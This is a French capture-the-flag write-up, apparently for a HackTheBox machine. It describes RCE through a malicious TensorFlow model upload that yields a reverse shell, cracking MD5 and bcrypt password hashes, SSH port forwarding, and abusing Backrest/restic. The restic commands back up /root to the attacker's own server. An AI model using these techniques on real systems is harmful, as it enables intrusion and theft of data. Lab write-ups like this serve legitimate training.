Artificial

2025-10-05easylinux#tensorflow#rce#reverse-shell#sqlite#md5#bcrypt#backrest#restic#gtfobins#port-forwarding

Cette machine permet un Remote Code Execution via TensorFlow puis un pivot vers un autre service pour récupérer le root.

Données :

  • Mon IP : 10.10.14.50
  • IP cible : 10.10.11.74

Analyse et énumération

Je lance nmap sur l'IP, je découvre un port 22 en SSH et un port 80 en nginx. Après avoir mis à jour mon fichier hosts j'arrive sur le site. À première vue, ni la page login ni le code source ne révèlent grand chose. Je lance gobuster pour les sous-domaines et dirbuster pour l'arborescence — rien de concluant.

Je créé un compte et me connecte :

Page principale après connexion

Plusieurs points attirent mon œil : deux fichiers à télécharger (requirements.txt et Dockerfile), et la possibilité d'uploader un fichier — je pense tout de suite à un reverse shell.

Dans le requirements.txt je vois tensorflow-cpu 2.13.1. Je cherche des CVE sur cette version sans succès.

Exploitation — RCE via TensorFlow

En me renseignant sur TensorFlow, je lis qu'on peut lui faire exécuter du code arbitraire. Je construis un payload malicieux exploit.py :

Payload TensorFlow

Je lance le Dockerfile et une fois le build terminé :

docker run -it -v $(pwd):/app artificial-exploit

On monte le répertoire courant (Downloads) dans /app du container. Je retrouve exploit.py dans /app et le lance :

python3 exploit.py

Un ls révèle le fichier exploit.h5. Je l'uploade sur le site, lance netcat sur ma machine et exécute le fichier — le reverse shell fonctionne.

Accès initial à la machine

Accès utilisateur

Je suis l'utilisateur app. En lisant app.py je vois que les mots de passe sont sauvegardés en MD5. Je vais dans le dossier instance où se trouve la base de données :

sqlite3 users.db

Liste des utilisateurs en base

J'obtiens la liste des utilisateurs avec leurs hash MD5. Je passe celui de gael dans CrackStation et j'obtiens son mot de passe.

Je me connecte en SSH avec ses identifiants — ça fonctionne, j'ai le premier flag :

User flag

Élévation de privilèges

Je regarde les groupes de gael — il fait partie de sysadm. Je cherche les fichiers lisibles pour ce groupe :

find / -type f -readable -group sysadm 2>/dev/null

Résultat : un fichier compressé backrest_backup.tar.gz. Je le décompresse dans /tmp :

Contenu de l'archive backrest

En fouillant dans le dossier backrest, j'arrive au .config et j'obtiens un nom d'utilisateur et un mot de passe encodé en Bcrypt :

echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > bcrypt.hash hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt # => $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

Pivot via Backrest

Dans l'énumération j'avais lancé :

ss -tulnp | grep LISTEN

Le serveur écoute sur le port 9898. Je fais une redirection de port via SSH :

ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74

J'ouvre localhost:9898 et je tombe sur une interface Backrest. Je rentre les identifiants trouvés dans config.json et j'accède au dashboard.

Backrest permet de faire des backups et restores en s'appuyant sur restic — qu'on va exploiter via GTFOBins.

Sur ma machine attaquante je lance un serveur restic :

git clone https://github.com/restic/rest-server.git cd rest-server GOARCH=amd64 GOOS=linux go build -o rest-server ./cmd/rest-server ./rest-server --path /tmp/restictemp --listen :8888 --no-auth

Je crée un repo sur Backrest :

Création du repo Backrest

Une fois dans le repo, j'exécute des commandes via "Run Command" :

Interface du repo Backrest

-r rest:http://10.10.14.50:8888/backuprepo init
-r rest:http://10.10.14.50:8888/backuprepo backup /root

Puis sur ma machine :

restic -r /tmp/restictemp/backuprepo snapshots restic -r /tmp/restictemp/backuprepo restore de75a0d2 --target /tmp/restore

Je restore un backup de /root dans /tmp/restore et j'y trouve le root.txt :

Root flag